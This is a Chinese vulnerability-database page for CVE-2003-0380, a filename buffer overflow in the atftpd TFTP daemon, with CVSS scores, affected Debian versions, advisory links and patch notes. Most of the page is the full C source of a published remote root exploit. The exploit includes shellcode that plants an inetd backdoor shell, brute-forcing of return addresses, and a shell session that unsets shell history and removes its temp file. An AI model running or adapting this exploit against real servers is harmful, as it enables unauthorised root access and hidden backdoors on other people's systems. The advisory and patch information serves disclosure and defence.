CVE-2003-0380
CVSS7.5
发布时间 :2003-07-02 00:00:00
修订时间 :2008-09-05 16:34:11
NMCOES    

[原文]Buffer overflow in atftp daemon (atftpd) 0.6.1 and earlier, and possibly later versions, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long filename.


[CNNVD]ATFTPD远程文件名长度缓冲区溢出漏洞(CNNVD-200307-001)

        Atftp daemon (atftpd) 0.6.1及其更早版本,可能还包括之后的版本存在缓冲区溢出漏洞。远程攻击者可以借助一个超长文件名导致服务拒绝(崩溃),并且可能执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:atftpd:atftpd:0.6.0
cpe:/a:atftpd:atftpd:0.6.1.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0380
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0380
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200307-001
(官方数据源) CNNVD

- 其它链接及资源

http://www.debian.org/security/2003/dsa-314
(VENDOR_ADVISORY)  DEBIAN  DSA-314
http://archives.neohapsis.com/archives/bugtraq/2003-06/0056.html
(VENDOR_ADVISORY)  BUGTRAQ  20030606 atftpd bug
http://www.securityfocus.com/archive/82/323886/2003-06-02/2003-06-08/0
(VENDOR_ADVISORY)  VULN-DEV  20030604 possible remote buffer overflow in atftpd

- 漏洞信息

ATFTPD远程文件名长度缓冲区溢出漏洞
高危 缓冲区溢出
2003-07-02 00:00:00 2005-10-20 00:00:00
远程  
        Atftp daemon (atftpd) 0.6.1及其更早版本,可能还包括之后的版本存在缓冲区溢出漏洞。远程攻击者可以借助一个超长文件名导致服务拒绝(崩溃),并且可能执行任意代码。

- 公告与补丁

        Gentoo has eliminated this vulnerability in their aftpd package. Users should run the following commands:
        emerge sync
        emerge atftp
        emerge clean
        Debian has released an advisory (DSA 314-1) that addresses this issue. Please see the attached advisory for details on obtaining and applying fixes.
        atftpd atftpd 0.6 .0
        

- 漏洞信息 (39)

Atftpd 0.6 Remote Root Exploit (atftpdx.c) (EDBID:39)
linux remote
2003-06-10 Verified
69 gunzip
N/A [点击下载]
/**
 ** PoC linux/86 remote exploit against atftpd (c) gunzip ( FIXED )
 **
 **
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define HEAP_START	0x080514b4
#define HEAP_END	0x080594b4

#define BACKDOOR	"rfe"	/* port MUST be > 1024 		*/
#define NOPNUM		128	/* number of nops		*/
#define PORT		69	/* tftpd port		*/
#define	BUFSIZE		512	/* size of exploit buffer 	*/
#define TIMEOUT		0x5	/* timeout in sec.		*/
#define NOALARM		0x0	/* no timeout		*/
#define	RRQ		0x1	/* request method		*/
#define MODE		"octet"	/* request mode		*/
#define OFFSET 		16000	/* distance of nops from heap	*/

struct target {
	char * name ;
	unsigned int	align ;
	unsigned int	len ;
	unsigned int	retaddr ;
} tg[] = 
	{ 
		{ "Linux (Debian 3.0)",	0,	264, 	0x0805560c 	}, 
	  	{ NULL,			0, 	0, 	0 		}
	};

char shellcode[]= /* taken from lsd-pl.net */
    "\xeb\x22"             /* jmp     <cmdshellcode+36>      */
    "\x59"                 /* popl    %ecx                   */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x66\x68""-c"         /* pushw   $0x632d                */
    "\x89\xe7"             /* movl    %esp,%edi              */
    "\x50"                 /* pushl   %eax                   */
    "\x51"                 /* pushl   %ecx                   */
    "\x57"                 /* pushl   %edi                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
    "\xe8\xd9\xff\xff\xff" /* call    <cmdshellcode+2>       */
    "echo " BACKDOOR " stream tcp nowait nobody /bin/sh sh -i>/tmp/.x ;/usr/sbin/inetd /tmp/.x;"
;

void timeout( int sig )  
{
	alarm( NOALARM );
	signal( SIGALRM, SIG_DFL );
	fprintf(stderr,"[-] Timeout.\n");
	exit( EXIT_FAILURE );
} 

int shell( int fd )
{
        int rd ;
        fd_set rfds;
        static char buff[ 1024 ];
	char INIT_CMD[] = "unset HISTFILE; rm -f /tmp/.x; echo; id; uname -a\n";

        write(fd, INIT_CMD, strlen( INIT_CMD ));

        while(1) {
                FD_ZERO( &rfds );
                FD_SET(0, &rfds);
                FD_SET(fd, &rfds);

                if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
			perror("[-] Select");
			exit( EXIT_FAILURE );
		}
                if( FD_ISSET(0, &rfds) ) {
                        if( (rd = read(0, buff, sizeof(buff))) < 1) {
				perror("[-] Read");
				exit( EXIT_FAILURE );
			}
                        if( write(fd,buff,rd) != rd) {
				perror("[-] Write");
				exit( EXIT_FAILURE );
			}
                }
                if( FD_ISSET(fd, &rfds) ) {
                        if( (rd = read(fd, buff, sizeof(buff))) < 1) {
				exit( EXIT_SUCCESS );
			}
                        write(1, buff, rd);
                }
        }
}

int try( unsigned short bport, unsigned long ip  )
{
        int                     sockfd ;
        struct sockaddr_in      sheep ;

        if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
	{
                perror("[-] Socket");
		exit( EXIT_FAILURE );
	}

        sheep.sin_family = AF_INET;
        sheep.sin_addr.s_addr = ip ;
        sheep.sin_port = htons ( bport );

        signal( SIGALRM, timeout ); 
	alarm( TIMEOUT );

        if ( connect(sockfd,(struct sockaddr *)&sheep,sizeof(sheep)) == -1 ) 
	{
		alarm( NOALARM );
		signal(SIGALRM,SIG_DFL);
                return 0;
	}

        alarm( NOALARM ); 
	signal(SIGALRM,SIG_DFL);

        return sockfd ;
}
		
char * xp_make_str( unsigned int len, unsigned int align, unsigned long retaddr )
{
	int c ;
	char * 	xp = (char *)calloc( BUFSIZE, sizeof(char) );
	char * 	code = shellcode ;

	if( !xp ) {
                fprintf(stderr, "[-] Not enough memory !\n");
                exit( EXIT_FAILURE );
        }

	/* stupid check */

	if (( align + len ) > (BUFSIZE - strlen( shellcode ) - 32)) {
		fprintf(stderr, "[-] String too long or align too high.\n");
		exit( EXIT_FAILURE );
	}
	/* 
 	 * our buffer shoud look like this
 	 *
 	 * [ NOPS ][ SHELLCODE ][ RETADDR * 4 ][ 0 ][ MODE ][ 0 ][ NOPS ][ SHELLCODE ]
 	 *                                    |_____> len
	*/
	memset ( xp, 0x41, BUFSIZE );

	memcpy( xp + len - strlen( code ) - 16, code, strlen( code )); 

	for ( c = align + len - 16 ; c < len  ; c += 4 )
		*(long *)( xp + c ) = retaddr ;

	*( xp ) = 0x0 ;
	*( xp + 1 ) = RRQ ;
	*( xp + len )= '\0' ;

	memcpy( xp + len + 1, MODE, strlen( MODE )); 

	*( xp + len + 1 + strlen( MODE )) = '\0' ;

	memcpy ( xp + BUFSIZE - strlen( code ), code, strlen( code ));

	return xp ;
} 

void usage( char * a )
{
	int o = 0 ;
	fprintf(stderr, 
		"__Usage: %s -h host -t target [options]\n\n"
		"-o\toffset\n" 
		"-a\talign\n"
		"-s\tstep for bruteforcing (try 120 <= step <= 512)\n"
		"-l\tlength of filename\n"
		"-v\ttreceives packets too (check if daemon's crashed)\n"
		"-b\tenables bruteforce (dangerous !)\n\n", a);
	while( tg[o].name != NULL )
	{
		fprintf(stderr, "\t%d - %s\n", o, tg[o].name ); o++ ;
	} 
	fprintf( stderr, "\n" );
	exit( EXIT_FAILURE );
}

int main(int argc, char *argv[])
{
	int 			sfd, t = 0, bport = 0, opt = 0, offset = 0, 
				want_receive = 0, brute = 0, yeah = 0, step = 0;
        struct 	servent 	* se ;
	unsigned long		n ;
	char * 			host ; 
        struct 	sockaddr_in 	server ;
	int 			len = sizeof(server);

        char * rbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
        char * wbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );

        if ( !wbuf || !rbuf )  {
                fprintf(stderr, "[-] Not enough memory !\n");
                exit( EXIT_FAILURE );
        }

	memset(&server, 0, sizeof(server));

        fprintf(stderr,"\nlinux/x86 atftpd remote exploit by gunzip\n\n");

	if ( argc < 3 ) 
		usage( argv[0] );

        while ((opt = getopt(argc, argv, "bvo:a:l:h:t:s:")) != EOF) {
                switch(opt)
                {
			case 's': step = atoi( optarg ); break ;
			case 'h': host = strdup ( optarg ); break;
			case 't': t = atoi(optarg); break;
			case 'b': brute++ ; break ;
			case 'v': want_receive++ ; break ;
			case 'o': offset += atoi( optarg ); break;
			case 'a': tg[t].align = atoi( optarg ); break;
			case 'l': tg[t].len = atoi( optarg ); break;
			default: usage( argv[0] ); break;
		}
	}
        if (( se = getservbyname( BACKDOOR, NULL )) == NULL ) {
                perror("[-] Getservbyname");
		exit( EXIT_FAILURE );
	}
	if ((bport = ntohs( se->s_port )) < 1024 ) {
		fprintf(stderr, "[-] Backdoor port must be <= 1024\n");
		exit( EXIT_FAILURE );
	}
        if ( inet_aton( host , &server.sin_addr) == 0 ) {
        	struct hostent * he ;
        	
        	if ( (he = gethostbyname( host )) == NULL )  {
			perror("[-] Gethostbyname");
			exit( EXIT_FAILURE );
		}
        	server.sin_addr.s_addr =
                  	((struct in_addr *)(he->h_addr))->s_addr ;
        }
	if ((sfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1 ) {
		perror("[-] Socket");
		exit( EXIT_FAILURE );
	}
	
	fprintf(stdout,"[+] Sending request to host %s\n",
		inet_ntoa(server.sin_addr));

	if ( !step ) step = tg[t].len / 2 ; 
        if ( brute ) offset += OFFSET ;

	for( n = HEAP_START + offset; n < HEAP_END ; n += step ) {
	
		fprintf(stdout,"[+] Using len=%d align=%d retaddr=0x%.8x shellcode=%d bport=%d\n",
			tg[t].len, tg[t].align, 
			(brute ) ? (unsigned int)n : (unsigned int)tg[t].retaddr + offset, 
			strlen(shellcode), bport );

		if ( !brute )
			wbuf = xp_make_str( tg[t].len, tg[t].align, tg[t].retaddr + offset );
		else
			wbuf = xp_make_str( tg[t].len, tg[t].align, n ); 

        	server.sin_port = htons( PORT );

		if ( sendto(sfd, wbuf,
       			(size_t) BUFSIZE, 0,
        		(struct sockaddr *)&server,
                	(socklen_t)sizeof(struct sockaddr)) < tg[t].len)
		{
			perror("[-] Sendto");
		}
		else if ( want_receive )
		{	
		        signal( SIGALRM, timeout );
		        alarm( TIMEOUT );

			if ( recvfrom(sfd, rbuf, 
				(size_t) BUFSIZE, 0,
                		(struct sockaddr *)&server,
                		(socklen_t *)&len) != -1 )
			{
                        	alarm( NOALARM );
                                signal( SIGALRM, SIG_DFL);
				fprintf( stdout,"[+] Received: %.2x %.2x %.2x %.2x\n",
					rbuf[0],rbuf[1],rbuf[2],rbuf[3]);
			}
			else {
				perror("[-] Recvfrom");
			}
		}
		sleep ( 1 ) ;

		if((yeah = try( bport, server.sin_addr.s_addr ))) {
				shell( yeah );
				exit( EXIT_SUCCESS );
		}

		if ( !brute ) break ;

		memset( wbuf, 0, BUFSIZE + 4 );
		memset( rbuf, 0, BUFSIZE + 4 );
	}	

	return 1 ;
}


// milw0rm.com [2003-06-10]
		

- 漏洞信息

4343
atftp daemon (atftpd) Filename Handling Remote Overflow
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability

- 漏洞描述

- 时间线

2003-06-04 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

ATFTPD Remote Filename Length Buffer Overrun Vulnerability
Boundary Condition Error 7819
Yes No
2003-06-04 12:00:00 2009-07-11 10:06:00
The discovery of this vulnerability has been credited to "Rick" <rikul@interbee.com>.

- 受影响的程序版本

atftpd atftpd 0.6.1 .1
atftpd atftpd 0.6 .0
- Debian Linux 3.0 sparc
- Debian Linux 3.0 s/390
- Debian Linux 3.0 ppc
- Debian Linux 3.0 mipsel
- Debian Linux 3.0 mips
- Debian Linux 3.0 m68k
- Debian Linux 3.0 ia-64
- Debian Linux 3.0 ia-32
- Debian Linux 3.0 hppa
- Debian Linux 3.0 arm
- Debian Linux 3.0 alpha
- Debian Linux 3.0

- 漏洞讨论

A vulnerability has been reported for atftpd. The problem is said to occur due to insufficient bounds checking when handling filenames of excessive length. As a result, a remote attacker may be capable of triggering a condition under which sensitive process memory could be corrupted.

Successful exploitation of this vulnerability could potentially result in the execution of arbitrary instructions with root privileges.

- 漏洞利用

An exploit has been made available:

- 解决方案

Gentoo has eliminated this vulnerability in their aftpd package. Users should run the following commands:

emerge sync
emerge atftp
emerge clean

Debian has released an advisory (DSA 314-1) that addresses this issue. Please see the attached advisory for details on obtaining and applying fixes.


atftpd atftpd 0.6 .0

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站